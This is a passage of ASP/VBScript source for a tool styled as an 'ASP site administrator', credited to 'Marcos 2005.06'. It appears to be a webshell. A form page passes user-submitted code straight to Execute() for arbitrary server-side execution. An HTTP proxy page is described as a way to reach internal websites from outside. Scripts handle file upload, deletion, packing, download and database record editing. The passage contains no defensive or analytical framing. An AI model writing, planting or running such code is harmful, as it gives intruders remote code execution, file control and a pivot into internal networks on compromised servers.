		aryInfo(3) = "文件夹打包/解开器|1.文件夹打包<br/>&nbsp;&nbsp;指定要打包的文件夹, 按""开始打包""后生成" & sPacketName & "(位于要打包的文件夹目录)<br/>" & _
					 "2.文件包解开<br/>&nbsp;&nbsp;指定文件包相对路径, 按""开始解包"", 解开目录为文件包(" & sPacketName & ")所在目录"
		aryInfo(4) = "批量文件上传|进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,<br/>然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择""覆盖模式""<br/>进行覆盖上传"
		aryInfo(5) = "文本文件搜索器|指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可"
		aryInfo(6) = "HTTP网页代理|通过另一台服务器来访问你所要访问的网页, 并把结果返回给你;<br/>把程序放在一台既能让外网访问又能被内网访问的WEB服务器上, 这样你就可以从网内通过它来上网,<br/>可以从网外通过它来访问内网网站, 这是一个神奇的功能"
		aryInfo(7) = "自定义ASP语句执行|允许执行自定义ASP语句, 但是变量及模块命名受程序本身的已命名限制"

		TopMenu()
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> ASP站点管理员(物理路径版) 简单说明</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"

		For Each strInfo In aryInfo
			theAry = Split(strInfo, "|")
			echo "<tr>"
			echo "<td width='20%' valign=top>&nbsp;" & theAry(0) & "</td>"
			echo "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
			echo "</tr>"
		Next

		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=td colspan=2 align=right>By Marcos 2005.06&nbsp;</td>"
		echo "</tr>"
		echo "</table>"
	End Sub

	Function Encode(strPass)
		Dim i, theStr, strTmp

		For i = 1 To Len(strPass)
			strTmp = Asc(Mid(strPass, i, 1))
			theStr = theStr & Abs(strTmp)
		Next

		strPass = theStr
		theStr = ""

		Do While Len(strPass) > 16
			strPass = JoinCutStr(strPass)
		Loop

		For i = 1 To Len(strPass)
			strTmp = CInt(Mid(strPass, i, 1))
			strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
			theStr = theStr & strTmp
		Next

		Encode = theStr
	End Function

	Function JoinCutStr(str)
		Dim i, theStr
		For i = 1 To Len(str)
			If Len(str) - i = 0 Then Exit For
			theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
			i = i + 1
		Next
		JoinCutStr = theStr
	End Function

	Sub PageExecute()
		Dim strAspCode
		strAspCode = GetPost("AspCode")
		ShowTitle("自定义ASP语句执行")

		If theAct = "Exe" Then
			echo "<table width=750 class=fixTable>"
			echo "<tr>"
			echo "<td class=trHead>&nbsp;</td>"
			echo "</tr>"
			echo "<tr>"
			echo "<td class=td><font face=webdings>8</font> 执行结果</td>"
			echo "</tr>"
			echo "<tr><td style='padding-left:6px;padding-right:5px;'>"
			Execute(strAspCode)
			echo "</td></tr></table>"
		End If
		ShowExeTable(strAspCode)
	End Sub

	Sub ShowExeTable(strAspCode)
		echo "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
		echo "<table width=750>"
		echo "<tr>"
		echo "<td class=td colspan=2><font face=webdings>8</font> 自定义ASP语句执行</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td valign=top width='10%'>"
		echo "&nbsp;ASP语句: "
		echo "</td>"
		echo "<td>&nbsp;"
		echo "<textarea name=AspCode cols=91 rows=23 title='By Marcos 2005.06'>" & HtmlEncode(strAspCode) & "</textarea>"
		echo "</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td class=trHead colspan=2>&nbsp;</td>"
		echo "</tr>"
		echo "<tr>"
		echo "<td align=center class=td colspan=2>"
		echo "<input type=hidden name=PageName value=PageExecute>"
		echo "<input type=hidden name=theAct value=Exe>"
		echo "<input type=submit name=Submit value=提交>"
		echo "<input type=reset value=重置>"
		echo "</td>"
		echo "</tr>"
		echo "</table>"
		echo "</form>"
	End Sub

	Sub PageWebProxy()
		Dim i, re, Url, Html
		Response.Clear()
		Url = Request.QueryString("url")
		If Url = "" Then Response.Redirect("?PageName=PageWebProxy&url=http://hididi.net/")

		Set re = New RegExp
		re.IgnoreCase = True
		re.Global = True

		sUrlB = Url
		Html = getHTTPPage(Url)
		Url = Left(Url, InStrRev(Url, "/"))

		i = InStr(sUrlB, "?")
		If i > 0 Then
			sUrlB = Left(sUrlB, i - 1)
		End If

		re.Pattern = "(href|action)=(\'|"")?(\?)"
		Html = re.Replace(Html,"$1=$2" & sUrlB & "?")

		re.Pattern = "(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
		Html = re.Replace(Html,"$1x=$2$3$2")

		re.Pattern = "(window\.open|url)\((\'|"")?((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)"
		Html = re.Replace(Html,"$1x($2$3$2)")

		re.Pattern = "(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
		Html = re.Replace(Html,"$1=$2" & Url & "$3$2")
		re.Pattern = "(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?"
		Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")
		re.Pattern = "(src|action|href)=(\'|"")?\/(\'|"")?"
		Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")

		re.Pattern = "(window\.open|url)\((\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
		Html = re.Replace(Html,"$1($2" & Url & "$3$2)")
		re.Pattern = "(window\.open|url)\((\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?\)"
		Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")

		Html = Replace(Html, "&", "%26")
		Html = Replace(Html, "%26nbsp;", "&nbsp;")
		Html = Replace(Html, "%26lt;", "&lt;")
		Html = Replace(Html, "%26gt;", "&gt;")
		Html = Replace(Html, "%26quot;", "&quot;")
		Html = Replace(Html, "%26copy;", "&copy;")
		Html = Replace(Html, "%26reg;", "&reg;")
		Html = Replace(Html, "%26raquo;", "&raquo;")
		Html = Replace(Html, "%26%26", "&&")
		Html = Replace(Html, "%26#", "&#")

		re.Pattern = "(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?"
		Html = re.Replace(Html, "$1=$2$3$2")

		re.Pattern = "((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)"
		Html = re.Replace(Html, "?PageName=PageWebProxy&url=$1")

		re.Pattern = "\?PageName=PageWebProxy&url=" & Url & "(#|javascript:)"
		Html = re.Replace(Html, "$1")

		re.Pattern = "multipart\/form-data"
		Html = re.Replace(Html, "")

		re.Pattern = ">\?PageName=PageWebProxy&url=((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)<"
		Html = re.Replace(Html, ">$1<")

		Response.Write(Html)
	End Sub

	Function getHTTPPage(url)
		Dim Http, theStr, fileExt
		Set Http = Server.CreateObject("MSXML2.XMLHTTP")

		If Request.Form.Count > 0 Then
			For Each x In Request.Form
				theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
			Next
			Http.Open "POST", url, False
			Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
			Http.Send(theStr)
		 Else
			Http.Open "GET", url, False
			Http.Send()
		End If

		If Http.readystate<>4 then Exit Function

		fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
		If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
			Response.Clear
			Response.BinaryWrite Http.responseBody
			Response.End()
		 Else
			If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
				Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
				Response.BinaryWrite Http.responseBody
				Response.Flush
			 Else
				getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
			End If
		End If

		Set Http = Nothing
	End Function

	Function BytesToBstr(body,Cset)
		Dim objstream
		Set objstream = Server.CreateObject("adodb.stream")
		objstream.Type = 1
		objstream.Mode =3
		objstream.Open
		objstream.Write body
		objstream.Position = 0
		objstream.Type = 2
		objstream.Charset = Cset
		BytesToBstr = objstream.ReadText
		objstream.Close
		Set objstream = nothing
	End Function

	Sub PageOther()
%>
<style id=theStyle>
BODY {
	FONT-SIZE: 9pt;
	COLOR: #000000;
	background-color: #ffffff;
	FONT-FAMILY: "Courier New";
	scrollbar-face-color:#E4E4F3;
	scrollbar-highlight-color:#FFFFFF;
	scrollbar-3dlight-color:#E4E4F3;
	scrollbar-darkshadow-color:#9C9CD3;
	scrollbar-shadow-color:#E4E4F3;
	scrollbar-arrow-color:#4444B3;
	scrollbar-track-color:#EFEFEF;
}
TABLE {
	FONT-SIZE: 9pt;
	FONT-FAMILY: "Courier New";
	BORDER-COLLAPSE: collapse;
	border-width: 1px;
	border-top-style: solid;
	border-right-style: none;
	border-bottom-style: none;
	border-left-style: solid;
	border-color: #d8d8f0;
}
.tr {
	font-family: "Courier New";
	font-size: 9pt;
	background-color: #e4e4f3;
	text-align: center;
}
.td {
	height: 24px;
	font-size: 9pt;
	background-color: #f9f9fd;
	font-family: "Courier New";
}
input {
	font-family: "Courier New";
	BORDER-TOP-WIDTH: 1px;
	BORDER-LEFT-WIDTH: 1px;
	FONT-SIZE: 12px;
	BORDER-BOTTOM-WIDTH: 1px;
	BORDER-RIGHT-WIDTH: 1px;
	color: #000000;
}
textarea {
	font-family: "Courier New";
	BORDER-WIDTH: 1px;
	FONT-SIZE: 12px;
	color: #000000;
}
A:visited {
	FONT-SIZE: 9pt;
	COLOR: #333333;
	FONT-FAMILY: "Courier New";
	TEXT-DECORATION: none;
}
A:active {
	FONT-SIZE: 9pt;
	COLOR: #3366cc;
	FONT-FAMILY: "Courier New";
	TEXT-DECORATION: none;
}
A:link {
	FONT-SIZE: 9pt;
	COLOR: #000000;
	FONT-FAMILY: "Courier New";
	TEXT-DECORATION: none;
}
A:hover {
	FONT-SIZE: 9pt;
	COLOR: #3366cc;
	FONT-FAMILY: "Courier New";
	TEXT-DECORATION: none;
}
tr {
	font-family: "Courier New";
	font-size: 9pt;
	line-height: 18px;
}
td {
	font-size: 9pt;
	font-family: "Courier New";
	border-width: 1px;
	border-top-style: none;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: none;
	border-color: #d8d8f0;
}
.trHead {
	font-family: "Courier New";
	height: 2px;
	background-color: #e4e4f3;
	line-height: 2px;
}

.fixSpan {
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	vertical-align: baseline;
}

.fixTable {
	word-break: break-all;
	word-wrap: break-word;
}

#fileList span{
	width: 120px;
	line-height: 23px;
	cursor: hand;
	overflow: hidden;
	padding-left: 5px;
	white-space: nowrap;
	text-overflow: ellipsis;
	vertical-align: baseline;
	border: 1px solid #ffffff;
}
</style>
<script language=javascript>
function locate(str){
	var frm = document.forms[1];
	frm.theAct.value = str;
	frm.TheObj.value = '';
	frm.submit();
}

function checkAllBox(obj){
	var frm = document.forms[1];
	for(var i = 0; i < frm.elements.length; i++)
		if(frm.elements[i].id != 'checkAll' && frm.elements[i].type == 'checkbox')
			frm.elements[i].checked = obj.checked;
}

function changeThePath(str){
	var frm = document.forms[1];
	frm.theAct.value = '';
	frm.thePath.value = str;
	frm.submit();
}

function Command(cmd, str){
	var j = 0;
	var strTmpB;
	var strTmp = str;
	var frm = document.forms[1];
	strTmpB = frm.PageName.value;

	if(cmd == 'pack' || cmd == 'del'){
		for(var i = 0; i < frm.elements.length; i++)
			if(frm.elements[i].name != 'checkAll' && frm.elements[i].type == 'checkbox' && frm.elements[i].checked)
				j ++;
		if(j == 0)return;
	}

	if(cmd == 'rename' || cmd == 'saveas'){
		frm.theAct.value = cmd;
		frm.param.value = str + ',';
		str = prompt('请输入新名称', strTmp);
		if(str && (strTmp != str)){
			frm.param.value += str;
		}else return;
	}

	if(cmd == 'download'){
		frm.theAct.value = 'download';
		frm.param.value = str;
		if(!confirm('如果该文件超过20M,\n建议不要通过流方式下载\n这样会占用服务器大量的资源\n并可能导致服务器死机!\n您可以先更改文件的后缀名为sys,\n然后通过http协议直接下载.\n按\"确定\"用流来进行下载.'))
			return;
	}

	if(cmd == 'submit'){
		frm.theAct.value = '';
	}

	if(cmd == 'del'){
		if(confirm('您确认要删除选中的 ' + j + ' 个文件(夹)吗?')){
			frm.theAct.value = 'del';
		}else return;
	}

	if(cmd == 'newone')
		if(strTmp = prompt('请输入要新建的文件(夹)名', '')){
			frm.theAct.value = 'newone';
			frm.param.value = strTmp + ',' + str;
		}else return;

	if(cmd == 'move' || cmd == 'copy'){
		frm.theAct.value = cmd;
	}

	if(cmd == 'showedit' || cmd == 'showimage'){
		frm.theAct.value = cmd;
		frm.param.value = str;
		frm.target = '_blank';
	}

	if(cmd == 'Query'){
		if(str == '0'){
			str = 1;
		}else{
			frm.reset();
		}
		frm.theAct.value = cmd;
		frm.param.value = str;
	}

	if(cmd == 'access'){
		frm.theAct.value = 'ShowTables';
		strTmp = frm.PageName.value;
		frm.PageName.value = 'PageDBTool';
		frm.thePath.value = frm.truePath.value + '\\' + str;
		frm.target = '_blank';
	}

	if(cmd == 'upload'){
		frm.PageName.value = 'PageUpload';
		frm.thePath.value = frm.truePath.value;
		frm.target = '_blank';
	}

	if(cmd == 'pack'){
		if(confirm('您确认要打包选中的 ' + j + ' 个项目吗?')){
			frm.PageName.value = 'PagePack';
			frm.theAct.value = 'PackOne';
			frm.target = '_blank';
		}else return;
	}

	frm.submit();
	frm.target = '';
	frm.PageName.value = strTmpB;
	frm.reset();
}

function showSqlEdit(column, str){
	var frm = document.forms[1];
	if(!str)return;
	frm.reset();
	frm.theAct.value = 'edit';
	frm.param.value = column + '!' + str;
	frm.target = '_blank';
	frm.submit();
	frm.target = '';
}

function sqlDelete(column, str){
	var frm = document.forms[1];
	if(!str)return;
	if(!confirm('确认要删除这条记录?'))return;
	frm.reset();
	frm.theAct.value = 'del';
	frm.param.value = column + '!' + str;
	frm.target = '_blank';
	frm.submit();
	frm.target = '';
}
function preView(n){
	var url, win;
	if(n != '1'){
		url = document.forms[1].truePath.value
		window.open('/' + escape(url));
	}else{
		win = window.open("about:blank", "", "resizable=yes,scrollbars=yes");
		win.document.write('<style>body{border:none;}</style>' + document.forms[1].fileContent.innerText);
	}
}
</script>
<%
	End Sub
%>